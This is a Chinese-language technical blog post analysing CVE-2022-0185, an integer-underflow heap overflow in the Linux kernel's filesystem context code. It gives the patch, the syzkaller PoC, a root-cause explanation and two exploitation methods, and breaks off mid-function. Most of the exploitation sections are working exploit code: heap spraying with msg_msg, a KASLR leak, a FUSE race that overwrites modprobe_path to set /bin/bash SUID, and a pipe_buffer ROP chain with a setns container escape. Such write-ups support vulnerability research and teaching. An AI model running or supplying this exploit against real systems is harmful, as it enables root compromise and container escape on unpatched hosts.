【kernel exploit】CVE-2022-0185 File System Context 整数溢出漏洞利用

2022/04/08 Kernel-exploit 共 24201 字,约 70 分钟

【kernel exploit】CVE-2022-0185 File System Context 整数溢出漏洞利用

影响版本:Linux-v5.1~v5.16.2。5.1-rc1 引入漏洞,Linux-v5.16.2已修补 ,由syzkaller发现。评分8.4分

测试版本:Linux-5.16.1(失败,msg_msg 和漏洞对象位于不同cache) Linux-5.11.22(成功) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_CHECKPOINT_RESTORE, CONFIG_USER_NS, CONFIG_FUSE, CONFIG_SYSVIPC, CONFIG_USERFAULTFD

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.1.tar.xz
$ tar -xvf linux-5.16.1.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:内核的 File System Context 模块(文件系统环境)的fs/fs_context.c文件中存在整数溢出导致堆溢出。攻击者必须具备 CAP_SYS_ADMIN 权限,或者使用命名空间或者使用unshare(CLONE_NEWNS|CLONE_NEWUSER) (等同于命令$ unshare -Urm)来进入含有CAP_SYS_ADMIN权限的命名空间。docker中默认没有CAP_SYS_ADMIN权限(启用容器时需使用 “-privileged” 选项),且docker的seccomp过滤会默认拦截 unshare 命令,所以docker中无法利用;但是 Kubernetes 集群在使用docker时,seccomp 过滤默认是禁用的,可以提权和逃逸。

补丁patch


diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
 			      param->key);
 	}
 
-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)
 		return invalf(fc, "VFS: Legacy: Cumulative options too large");
 	if (strchr(param->key, ',') ||
 	    (param->type == fs_value_is_string &&

保护机制:KASLR / SMEP / SMAP / KPTI

利用总结

方法一:两次触发漏洞。缺点是一般普通用户的话,FUSE不一定可用。

  • (1)先利用溢出修改 msg_msg->m_ts 泄露内核基址(越界读取 kmalloc-32 中的 seq_operations 结构);
  • (2)再利用FUSE 用户页错误处理 和溢出篡改 msg_msg->next 实现任意地址写,篡改 modprobe_path 提权。

方法二:缺点是需要三次触发漏洞,堆喷不稳定。

  • (1)先利用溢出修改 msg_msg->m_ts 泄露内核基址(越界读取 kmalloc-32 中的 seq_operations 结构);
  • (2)泄露堆地址:构造queue1中 ` kmalloc-4k <-> kmalloc-64,queue2中 kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 。触发溢出漏洞,改大 kmalloc-4k 中的 msg_msg->m_ts 来越界读取 msg->m_list.next & prev`,也即 kmalloc-1024 和 kmalloc-512 的地址;
    • pipe_buffer 占据 kmalloc-1024;
    • kmalloc-512 上布置 stack pivot gadget (伪造 pipe_buffer->ops 函数表);
  • (3)触发溢出修改 msg_msg->next = &kmalloc-1024 - 0x30,构造任意释放,利用 msg_msg 堆喷伪造 pipe_buffer->ops 并布置 ROP chain 提权。

1. 漏洞发现

syzkaller报错:通过syzkaller发现一个报错。

BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569
Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100

CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
 legacy_parse_param+0x450/0x640 fs/fs_context.c:569
 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
 __do_sys_fsconfig fs/fsopen.c:439 [inline]
[ ... ]
The buggy address belongs to the object at ffff88802d7d8000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff88802d7d8000, ffff88802d7d9000)

漏洞对象位于 kmalloc-4096,legacy_parse_param() 函数导致OOB write,syzkaller生成了一个poC:

#define _GNU_SOURCE 

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
uint64_t r[1] = {0xffffffffffffffff};
int main(void) {
	syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
	syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
	syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
	intptr_t res = 0;
	memcpy((void*)0x20000000, "9p\000", 3);
	res = syscall(__NR_fsopen, 0x20000000ul, 0ul);
	if (res != -1)
		r[0] = res;
	memcpy((void*)0x20001c00, "\000\000\344]\233", 5);
	memcpy((void*)0x20000540, "<long string>", 641);
	syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
	int i;
	for(i = 0; i < 64; i++) {
		syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
	}
	memset((void*)0x20000040, 0, 1);
	memcpy((void*)0x20000800, "<long string>", 641);
	syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
	for(i = 0; i < 64; i++) {
		syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
	}
	return 0;
}

PoC美化:这段PoC看上去很难理解,还包含一些无关的调用,只能通过人工分析来去除无关代码。例如,mmap映射了很多区域,但只用到了0x20000000ul,所以可以去掉无关的mmap调用;uint64_t r[1] = {0xffffffffffffffff}; 实际上就是 int r = -1;还要将地址转化为变量或常量,有的调用 memcpy()9P 字符串拷贝到buffer并将该buffer传给syscall,实际上我们可以直接传字符串即可,不需要这么复杂,最终转化为以下代码:

int r = -1;
int main(void) {
	int res = 0;
	res = syscall(__NR_fsopen, "9p", 0ul);
	if (res != -1)
		r = res;
}

经过很多分析,对比input和相关内核函数,最终生成一个简化的PoC:调用 fsconfig 需传入 FSCONFIG_SET_STRING 和两个字符串 key / value,value必须以NULL结尾,最后一个参数必须为0

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void) { 
	char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	int fd = 0;
	fd = fsopen("9p", 0);
	for (int i = 0; i < 130; i++) { 
		fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);
	}
}

2. 漏洞分析

漏洞函数调用路径__x64_sys_fsconfig() -> vfs_fsconfig_locked() -> vfs_parse_fs_param() -> legacy_parse_param()

注意 vfs_parse_fs_param() 中函数指针定义在 legacy_fs_context_ops 函数表中,在 alloc_fs_context() 函数中完成filesystem context 结构的分配和初始化。

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {
	struct legacy_fs_context *ctx = fc->fs_private;	// [1] ctx 与文件描述符相关
	unsigned int size = ctx->data_size;				// [2] size —— 目前已经写入 buffer 的长度
	size_t len = 0;
	int ret;
	[ ... ]
	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;						// [3] len = strlen(key) + 1 + strlen(value) 将要写入的长度, 对应到 mount option string key=value
	case fs_value_is_flag:
		len += strlen(param->key);
		break;
	default:
		return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);
	}
	if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 边界检查, 避免溢出
	[ ... ]
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);	// [5] 首次分配 4096 字节缓冲区
		if (!ctx->legacy_data) return -ENOMEM;
	}
	ctx->legacy_data[size++] = ',';      			// [6] 开始往 buffer 写数据, 先写个逗号, 再写 key, 再写 等号, 再写 value, 最后结尾写 NULL, 保存新的size
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

9p / ext4 触发fsopen() 打开一个文件系统环境,用户可以用来mount新的文件系统。 9p (the Plan 9 filesystem)是一种文件系统,能触发本文漏洞,Linux中常用的ext4文件系统也能触发本漏洞(本文就是利用ext4来触发漏洞)。fsconfig() 调用能让我们往ctx->legacy_data 写入一个新的 (key,value)ctx->legacy_data 指向一个 4096 字节的缓冲区(在首次配置文件系统时就进行分配)。

漏洞分析[4]len > PAGE_SIZE-2-size, len是将要写的长度,PAGE_SIZE == 4096 ,size 是已写的长度,2字节表示一个逗号和一个NULL终止符。 问题在于采用减法来进行检查,size是unsigned int (总是被当做正值),会导致整数溢出,如果相减的结果小于0,还是会被包装成一个正值。 如果117次添加长度为0的key和长度为33的value,最终的size则为(117*(33+2)) == 4095,这样PAGE_SIZE-2-size == -1 == 18446744073709551615 ,这样无论len多大都能满足条件。key设置为 \x00,这样逗号会写入偏移4095,等号写入下一个kmalloc-4096的偏移0处,接着就能往偏移1处开始往后写value。

漏洞限制:key和value都是string类型,会产生\x00截断。可以采用value来伪造 msg_msg->m_ts;只有采用key来伪造msg_msg->m_list.next。因为 value 只能从邻近堆块(kmalloc-4096)的偏移1处开始覆盖,因为第1个逗号 , 会写在漏洞对象的偏移 4095,等号会写在邻近堆块的偏移0处,所以如果要正确伪造 msg_msg->m_list.next,则只能利用key来传值。

3. 漏洞利用方法1—任意写篡改 modprobe_path

3-1 泄露内核基址

泄露内核基址:喷射大量 seq_operations —— open(“/proc/self/stat”, O_RDONLY) ,溢出篡改 msg_msg->m_ts 泄露地址。具体步骤如下。

  • (1)准备 fs_context 漏洞对象;
  • (2)往 kmalloc-32 喷射 seq_operations 对象;
  • (3)喷射 msg_msg 消息 (大小为 0xfe8),会将辅助消息分配在 kmalloc-32;
  • (4)触发 kmalloc-4096 溢出,篡改 msg_msg->m_ts
  • (5)利用 msg_msg 越界读。泄露内核指针。
void *do_kaslr_leak () {
	uint64_t kbase = 0;
	char pat[0x30] = {0};
	char buffer[0x2000] = {0}, received[0x2000] = {0};
	msg *message = (msg *)buffer;
	int size = 0x1018;
	int targets[K_SPRAY] = {0};
	int i;
	// Spray queues/messages
	for (i = 0; i < K_SPRAY; i++) {
		memset(buffer, 0x41+i, sizeof(buffer));
		targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
		send_msg(targets[i], message, size - 0x30, 0);
	}
	// Spray function pointers
	for (int i = 0; i < 100; i++) {
		open("/proc/self/stat", O_RDONLY);
	}
	get_msg(targets[0], received, size - 0x30, 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);
	memset(pat, 0x42, sizeof(pat));
	pat[sizeof(pat)-1] = '\x00';
	fd = fsopen("ext4", 0);
	if (fd < 0) {
		exit(-1);
	}
	strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	for (int i = 0; i < 117; i++) {
		fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
	}
	// Corrupt the size field to 0x1060
	char tiny[] = "DDDDDDD";
	char tiny_evil[] = "DDDDDD\x60\x10";
	fsconfig(fd, FSCONFIG_SET_STRING, "CCCCCCCC", tiny, 0);
	fsconfig(fd, FSCONFIG_SET_STRING, "\x00", tiny_evil, 0);
	size = 0x1060;
	for (int i = 0; i < K_SPRAY; i++) {
		get_msg(targets[i], received, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
		// Check for valid kernel pointer and aligned base
		kbase = do_check_leak(received);
		if (kbase) {
			return (void*)kbase;
		}
	}
	puts("[X] No leaks, trying again");
	close(fd);
	return 0;
}

3-2 任意地址写思路

任意写:利用竞争条件。

  • (1)分配第1个消息块;
  • (2)拷贝第1个消息,触发页错误暂停;
  • (3)分配第2个消息块;
  • (4)覆盖第1个消息的next指针;
  • (5)我们的数据被拷贝到next指针指向的地址。

我们要确保(4)发生在(5)之前,可以用 userfaultfd,但是5.11版本以后就无法在用户层处理内核层的页错误了;还有种方法是利用FUSE。

3-3 FUSE 页错误处理

FUSE简介:内核允许用户实现自己的用户态文件系统(Filsystem in USErspace),有自己的read / write 系统调用,这样发生缺页时还是会回到用户态来处理中断。我们可以实现一个迷你的 FUSE 文件系统(通过和/dev/fuse交互),打开并调用mmap映射到内存,将返回地址传到内核,当内核尝试读取FUSE中的地址时,会调用我们定义的 read 处理函数,为了只在读第一个4096堆块数据之后触发页错误,我们将分配两块内存,第一块是常规内存,第2块是FUSE相关的。

问题:一是FUSE要求我们非特权用户能访问 /bin/fusermount,通过unshare能绕过该限制;二是用户需要写个 libfuse 库使 libfuse 函数正常工作,但是 libfuse 很难静态链接 (见 issue,因为依赖于 dl_open)作者直接移除了所有对 dl_open 的引用,并重新编译了 libfuse 库,这样FUSE技术就能应用于所有开启 CONFIG_FUSE 的内核了。

void *evil_page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
puts("[*] Preparing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0) {
  perror("evil fd failed");
  exit(-1);
}
if ((mmap(0x1338000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, evil_fd, 0)) != 0x1338000) {
  perror("mmap fail fuse 1");
  exit(-1);
}

3-4 完整利用

总体利用步骤

  • (1)打开pipe对,两个进程共享一块可发送数据的内存,可用于同步(保证篡改msg_msg->next 之后再处理用户页错误,继续拷贝以篡改 modprobe_path);
  • (2)在exp中fork出子进程用于运行FUSE,处理文件系统请求;
  • (3)泄露内核基址(见 3-1 地址泄露步骤);
  • (4)open/mmap evil file(将fusefd映射到地址0x1338000,这样msg copy 访问到该地址时触发页错误处理);
  • (5)准备堆溢出,调用 fsopenfsconfig
  • (6)创建子线程溢出覆盖 next 指针;
  • (7)同时,主线程触发 msg_send,让步于FUSE代码来处理页错误;
  • (8)FUSE在共享pipe上调用read,触发阻塞,直到有字节写入pipe;
  • (9)到这里,溢出线程写入pipe(表示 msg_msg->next 已被篡改),导致FUSE释放,线程将恶意数据拷贝到目标地址。

写目标modprobe_path

char *modprobe_win = "/tmp/w";
#define  SHELL  "/bin/bash"
[ ... ]
void modprobe_init() {
  int fd;
  [ ... ]
  char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";
  chmod(modprobe_trigger, 0777);
  fd = open(modprobe_win, O_RDWR | O_CREAT);
  if (fd < 0) {
    perror("winner creation failed");
    exit(-1);
  }
  write(fd, w, sizeof(w));
  close(fd);
  chmod(modprobe_win, 0777);
  return;
}

触发 modprobe_path:执行一个含未知字节的binary,内核就会利用modprobe去寻找一个module来加载该binary。

// 内核源码
do_execve return do_execveat_common(fd, filename, argv, envp, flags);
do_execveat_common retval = bprm_execve(bprm, fd, filename, flags);
bprm_execve retval = exec_binprm(bprm);
exec_binrpm ret = search_binary_handler(bprm);
search_binary_handler if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
request_module ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
call_modprobe
static int call_modprobe(char *module_name, int wait) {
	struct subprocess_info *info;
	static char *envp[] = {
		"HOME=/",
		"TERM=linux",
		"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
		NULL
	};
	char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
	module_name = kstrdup(module_name, GFP_KERNEL);
	argv[0] = modprobe_path; // <--- overwritten!
	argv[1] = "-q";
	argv[2] = "--";
	argv[3] = module_name;
	argv[4] = NULL;

	info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL);
	return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
}

// exp 中代码
char *modprobe_trigger = "/tmp/root";
void modprobe_init() {
  int fd = open(modprobe_trigger, O_RDWR | O_CREAT);
  char root[] = "\xff\xff\xff\xff";
  write(fd, root, sizeof(root));
  close(fd);
  chmod(modprobe_trigger, 0777);
  [ ... ]
}
void modprobe_hax() {
  puts("[*] Attempting to trigger modprobe");
  execve(modprobe_trigger, NULL, NULL);
}
To finish up, we repeatedly attempt to trigger the overwrite and trigger modprobe_path. We can verify if it has succeeded by checking the permissions on /bin/bash:
while (1) {
  do_win();
  modprobe_hax();
  struct stat check;
  // Get permissions on file
  stat(SHELL, &check);
  if (check.st_mode & S_ISUID) {
    break;
  }
}
puts("[*] Exploit success! " SHELL " is SUID now!");
puts("[+] Popping shell");
execve(SHELL, root_argv, NULL);

问题:原作者的测试环境是Ubuntu-20.04,但在我编译的环境中(版本v5.16.1),堆喷非常不稳定,需要改善堆喷策略。我沿用了 CVE-2021-42008的策略还是不行,不能确保漏洞对象的后面跟着一个 kmalloc-4096 的 msg_msg ,发现 msg_msg 和漏洞对象总是位于不同的cache,很奇怪。希望有大佬能弄清为什么,玄学!

换了个版本 v5.11.22,偶然成功了一次(成功赋予了busybox s权限),调试后发现 msg_msg 和漏洞对象可以位于同一cache:

1-succeed-5-11-22

3-5 改进exploit

改进提权方式:原先只是给 /bin/su 加了个suid,现在直接提权。

改进堆喷策略:原先在篡改 msg_msg->next 时,每次尝试,都先申请1个漏洞对象,然后再申请1个 msg_msg 对象,很难碰撞到 msg_msg 恰好在漏洞对象后面的情况。现在我一次申请10个漏洞对象,然后再申请1个 msg_msg 对象,10次溢出总有一次能成功篡改 msg_msg->next 吧。果然,只要几次尝试就能成功篡改 modprobe_path

    for (int i = 0; i < 0xa; i++)
    {
        fdv[i] = fsopen("ext4", 0);
        if (fdv[i] < 0) 
        {
            puts("Opening");
            exit(-1);
        }
        for (int j = 0; j < 117; j++) 
            fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

1-2-succeed


4. 漏洞利用方法2—KCTF 提权

说明一下,作者用在KCTF环境上的提权方法,在普通系统上也能使用,我觉得这种方法更好一点,因为有些系统上不一定有userfault和fuse权限。

KCTF要求:有两种要求,一是kctf,在容器上提权并读取flag,二是fullchain,在容器上提权,逃逸到host,再读取另一个容器的flag。

KCTF难点

  • /dev 目录东西很少,FUSE和一些结构如 tty_struct 不能使用,userfault 也被禁用,有很多4k的对象,所以需要调整堆喷策略。
  • 另一个问题是 GFP_KERNEL_ACCOUNT flag,这个flag用于标记data来自用户层的对象,例如 msg_msg,5.9以前,内核会把这类对象放在单独的slab(前提是设置 CONFIG_MEMCG_KMEM 编译选项)。其实本文涉及到的legacy漏洞对象也应该用 accounting flag 进行标识,可能是开发者搞忘了,直到 commit for 5.16 才加上,这意味着在kctf这个 5.4 的老版本上不能使用 msg_msg 对象了,幸运的是kctf最近将内核更新到了 5.10,现在 msg_msg 对象可用了。(PS:Starlabs 团队的 n0psledbyte 曾在老版本的kctf环境上用 msg_msg 来实现 cross cache overflow,该策略可以参考 grsecurity 的这篇文章 —— article

利用方法选择:由于环境限制,不能用 msg_msg 实现任意写了,现在可以采用 msg_msg 提供的 unlink 原语 或者 任意释放原语。最后打算篡改 pipe_buffer 的函数表指针指向某个 msg_msg chunk (参考 CVE-2021-22555 的方法)。

小tricksalt 工具便于调试内核堆。首先,调用set_affility() 绑定到一个CPU核上运行(因为每个CPU都有自己的freelist),以下策略是针对kCTF环境的:

  • 提前堆喷很多 msg_msg ,适时的释放部分 msg_msg 来利用;
  • fsconfig 溢出 msg_msg 之前,先分配4到7个 msg_msg(因为 kmalloc-4k slab中只有8个对象),再对其中一个 msg_msg 触发 MSG_COPY,会在copy时对同一slab进行分配和释放,这样就会在slab中产生一个hole,下一次分配legacy对象时就会占据这个hole。

4-1 泄露堆地址

堆地址泄露msg_queue 会把 msg_msg 以双链表串起来,可以分配两个queue,queue1中 ` kmalloc-4k <-> kmalloc-64,queue2中 kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 ,利用 OOB read 来泄露 kmalloc-512 和 kmalloc-1k 对象的地址(也就是 kmalloc-64 的 msg_msg->m_list.next / prev`),如下图所示:

diagram1

利用堆溢出篡改 queue1 中 kmalloc-4k 的 msg_msg->m_ts 并采用 MSG_COPY 进行 OOB read

diagram2

可以根据 msg_msg 包含的内容来判断泄露的地址属于哪一个 msg_queue,这样就能选择性的释放并喷射 pipe_buffer 对象占据 kmalloc-1k,在 kmalloc-512 上布置 stack pivot gadget。

diagram3

以下代码可以泄露堆地址:

double_heap_leaks do_heap_leaks()
{
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    char pivot_spray[0x2000] = {0};
    uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
    double_heap_leaks leaks = {0};
    int linked_msg[256] = {0};
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    // spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1k in unique msg queues
    for (int i = 0; i < 255; i++) 
    {
        linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        memset(pivot_spray, 0x0, sizeof(pivot_spray));
        pivot_spray_ptr[0] = 1;
        for (int i = 0; i < 10;i ++)
        {
            pivot_spray_ptr[i+1] = stack_pivot;
        }

        // spray pivots using kmalloc-512 allocations
        send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
        memset(buffer, 0x1+i, sizeof(buffer));
        message->mtype = 2;
        send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
        message->mtype = 3;
        send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
    }

    int size = 0x1038;
    int targets[H_SPRAY] = {0};

    for (int i = 0; i < H_SPRAY; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    // create hole hopefully
    get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    // fill it a bit to help prevent potential crashes on MSG_COPY
    stuff_4k(16);

    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x19";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");

    size = 0x1960;
    puts("[*] Receiving corrupted size and leak data");
    // go through all targets qids and check if we hopefully get a leak
    for (int i = 0; i < H_SPRAY; i++) 
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
        {
            uint64_t *dump = (uint64_t *)recieved;
            if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
            {
                kmalloc_1024 = dump[j-2];
                kmalloc_512 = dump[j-1];

                // delete chunk 1024, chunk 512 already has sprayed pivots
                uint8_t target_idx = (dump[j+4] & 0xff) - 1;

                get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);

                // spray to replace with pipe_buffer, thanks LIFO!
                for (int k = 0; k < PIPES; k++)
                {
                    if (pipe(pipefd[k]) < 0)
                    {
                        perror("pipe failed");
                        exit(-1);
                    }
                    write(pipefd[k][1], "pwnage", 7);
                }
                break;
            }
        }
        if (kmalloc_1024 != 0)
        {
            break;
        }
    }
    close(fd);

    if (!kmalloc_1024)
    {
        puts("[X] No leaks, trying again");
        stuff_4k(16);
        return leaks;
    }
    leaks.kmalloc_1024_leak = kmalloc_1024;
    leaks.kmalloc_512_leak = kmalloc_512;
    return leaks;
}

有了这些信息,就能控制 pipe_buffer->ops

4-2 篡改 pipe_buffer->ops

方法一unlink:作者首先尝试了unlink attack,在 do_msgrcv() 中,不指定 MSG_COPY 就会执行 unlink operation ,直观来说就是执行 victim->prev->next = victim->nextvictim->next->prev = victim->prev,如果设置 victim->prev 指向 pipe_buffer->ops 的位置,设置victim->next 指向 kmalloc-512 内部(可控),这样就能将 pipe_buffer->ops 篡改指向伪造的函数表,unlink流程如下所示:

diagram4

问题-unlink check:内核开启了 CONFIG_DEBUG_LIST ,会调用 __list_del_entry_valid() 对unlink进行检查,检查不通过则不会进行unlink(但还是会进行释放,原来的指针会被设置为 POISON 值)

bool __list_del_entry_valid(struct list_head *entry)
{
        struct list_head *prev, *next;

        prev = entry->prev;
        next = entry->next;

        if (CHECK_DATA_CORRUPTION(next == LIST_POISON1,
                        "list_del corruption, %px->next is LIST_POISON1 (%px)\n",
                        entry, LIST_POISON1) ||
            CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
                        "list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
                        entry, LIST_POISON2) ||
            CHECK_DATA_CORRUPTION(prev->next != entry,
                        "list_del corruption. prev->next should be %px, but was %px\n",
                        entry, prev->next) ||
            CHECK_DATA_CORRUPTION(next->prev != entry,
                        "list_del corruption. next->prev should be %px, but was %px\n",
                        entry, next->prev))
                return false;

        return true;
}

方法二任意释放:但我们已经泄露了堆地址,即使unlink失败了也可以将链表指针改为有效的值,继续覆写 msg_msg->next 指针和 msg_msg->security 指针来构造任意释放。由于payload必须为有效的字符串,我们可以根据泄露的堆地址进行非对齐释放( msg_msg->next = &kmalloc-1k - 0x20 / msg_msg->security = &kmalloc-512 - 0x20 ,关键是释放前者,后者不重要),释放 &kmalloc-1k - 0x20 之后,再分配一个 kmalloc-1k 大小的 msg_msg 来篡改 pipe_buffer->ops 指向存放 stack pivot gadget 的地方,同时避免触发 hardened usercopy bound checks

4k msg_msg 的伪造流程如下:

diagram5

接着,释放 4k msg_msg 并堆喷1k msg_msg 以篡改被释放的 pipe_buffer

diagram6

4-3 ROP 构造并提权

ROP位置:关闭 pipefd 就能触发执行 stack pivot,但此时发现没有寄存器指向 kmalloc-512 内部,RAX指向 pipe_buffer 开头(kmalloc-1k),这意味着我们要在 pipe_buffer 上布置 ROP chain,我们的 stack pivot 需要将rsp改成rax。

可用的 gadget

  • mov rsp, rax ; pop rbp ; ret; —— stack pivot
  • pop rdi ; ret ;
  • pop rsi ; ret ;
  • test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ; —— rdi = rax

ROP构造:ROP链的目标是拥有root namespace 中的root权限,可直接利用 CVE-2021-22555 中的ROP chain来执行 commit_cred(prepare_kernel_cred(NULL))switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) ,最后调用 swapgs_and_return_to_userspace 返回用户空间,最后执行常规的容器逃逸步骤( setns tricks )。

以下代码能够提权和容器逃逸:

void dump_flag()
{
    char buf[200] = {0};
    for (int i = 0; i < 4194304; i++) 
    {
        // bruteforce root namespace pid equivalent of the other container's sleep process
        snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
        int fd = open(buf, O_RDONLY);
        if (fd < 0) 
        {
            continue;
        }
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        read(fd, buf, 100);
        write(1, buf, 100);
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        close(fd);
    }
    return;
}

__attribute__((naked)) win()
{
    // thanks movaps sooooooo much
    asm volatile(
        "mov rbp, rsp;"
        "and rsp, -0xf;"
        "call dump_flag;"
        "mov rsp, rbp;"
        "ret;");
}

void pwned()
{
    write(1, "ROOOOOOOOOOOT\n", 14);
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    win();
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
    _exit(0);
}

void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024) 
{
    int size = 0x1000;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    char pat[0x40] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    int ready = 0;
    int ignition_target = -1;

    // doesn't matter as long as valid pointers
    uint64_t next_target = kmalloc_1024 + 0x440;
    uint64_t prev_target = kmalloc_512 + 0x440;

    // set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg
    uint64_t free_target = kmalloc_1024 - 0x20;
    uint64_t make_sec_happy = kmalloc_512 - 0x20;
